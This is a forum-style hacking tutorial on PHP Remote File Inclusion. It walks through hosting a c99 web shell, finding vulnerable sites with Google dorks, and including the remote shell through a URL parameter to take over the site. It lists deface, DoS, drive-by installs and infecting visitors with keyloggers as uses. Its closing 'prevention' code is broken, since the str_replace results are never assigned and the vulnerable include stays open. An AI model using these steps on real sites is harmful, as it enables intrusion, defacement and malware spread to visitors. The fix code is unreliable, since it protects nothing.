TUT on RFI( Remote File Inclusion ).

TUT on RFI( Remote File Inclusion ).

Courtesy : th3*bl@ck*c0d3
Hello Everybuddy in this mini-tutorial im going to show you how to use PHP shells such as c99 or other shells to hack/recover your website admin account or deface it so its for educational purposes ONLY.

ok lets start.

Step 1 - Grab yourself a C99 shell.

Step 2 - You need to find a free webhost to host it without deleting your account. i prefer http://www. 7host. com since they don't check your accounts Grin

Step 3 - Register on a free hosting site and upload the C99.php ofcourse if you are a PHP programmer i suggest you password protect that using This Script.

Step 4 - Dorks to type in Google are:
Code:
inurl:.php?link=
allinurl:.php?link=
inurl:.php?redirect=
allinurl:.php?redirect=
inurl:.php?page=
allinurl:.php?page=
inurl:.php?webpage=
allinurl:.php?webpage=

inurl:.php?link=http://
allinurl:.php?link=http://
inurl:.php?redirect=http://
allinurl:.php?redirect=http://
inurl:.php?page=http://
allinurl:.php?page=http://
inurl:.php?webpage=http://
allinurl:.php?webpage=http://
inurl:.php?include=http://
allinurl:.php?include=http://

also some pages with certain variables can be vuln too but these are the most common. such can be like inurl:?buy=car.php

Step 5 - For seeing if a site is vulnerable you can try this:

Imagine a link is:
Code:
http://yoursite.com/?link=http://yoursite.com/web.php

for testing you do:
Code:
http://yoursite.com/?link=http://google. com/ index.php
if Google's index page also loads in that page then its vulnerable Smile

Step 6 - If you find a vulnerable site that you need to do is replace that link with the C99 shell link you uploaded on your free webhost:
Code:
http://yoursite.com/?link=http://you.som...om/c99.php

and! the C99 page is also loaded! you can now:

*Upload Files
*Delete Files
*Move Files
*Copy Files
*DOS the site
*Deface it
*Bruteforce FTP password
*Lag it
*Redirect visitors
*Install Drive-By's
*Grab Visitor Information and test exploitation on them
*Infect Visitors ( RAT - Keylogger - Stealer )
*Execute SQL commands
*Manage SQL accounts
*Execute PHP commands

========End of Guide========

# ok Now how to prevent RFI on your website or server?

RFI is caused by this:

PHP Code:
<?php
$inc = $_GET['link'];
include($inc);
?>

To prevent that we replace strings on the include link:

PHP Code:
<?php
$inc = $_GET['link'];
str_replace("http://", "", $inc);
str_replace("https://", "", $inc);
str_replace("www.", "", $inc);
str_replace(".php", "", $inc);
str_replace(".html", "", $inc);
str_replace(".", "", $inc);
str_replace("/", "", $inc);
str_replace("&", "", $inc);
str_replace("'", "", $inc);
str_replace(">", "", $inc);
str_replace(".com", "", $inc);
str_replace(".net", "", $inc);
str_replace(".org", "", $inc);
str_replace(".info", "", $inc);
str_replace("etc", "", $inc);
str_replace("passwd", "", $inc);
str_replace("..", "", $inc);
str_replace("...", "", $inc);
include($inc);
?>

This way not only the include page wont be vuln to RFI but also protected from many more hacking methods Grin

Sorry if the guide is missing anything feel free to mention and i will explain more about it.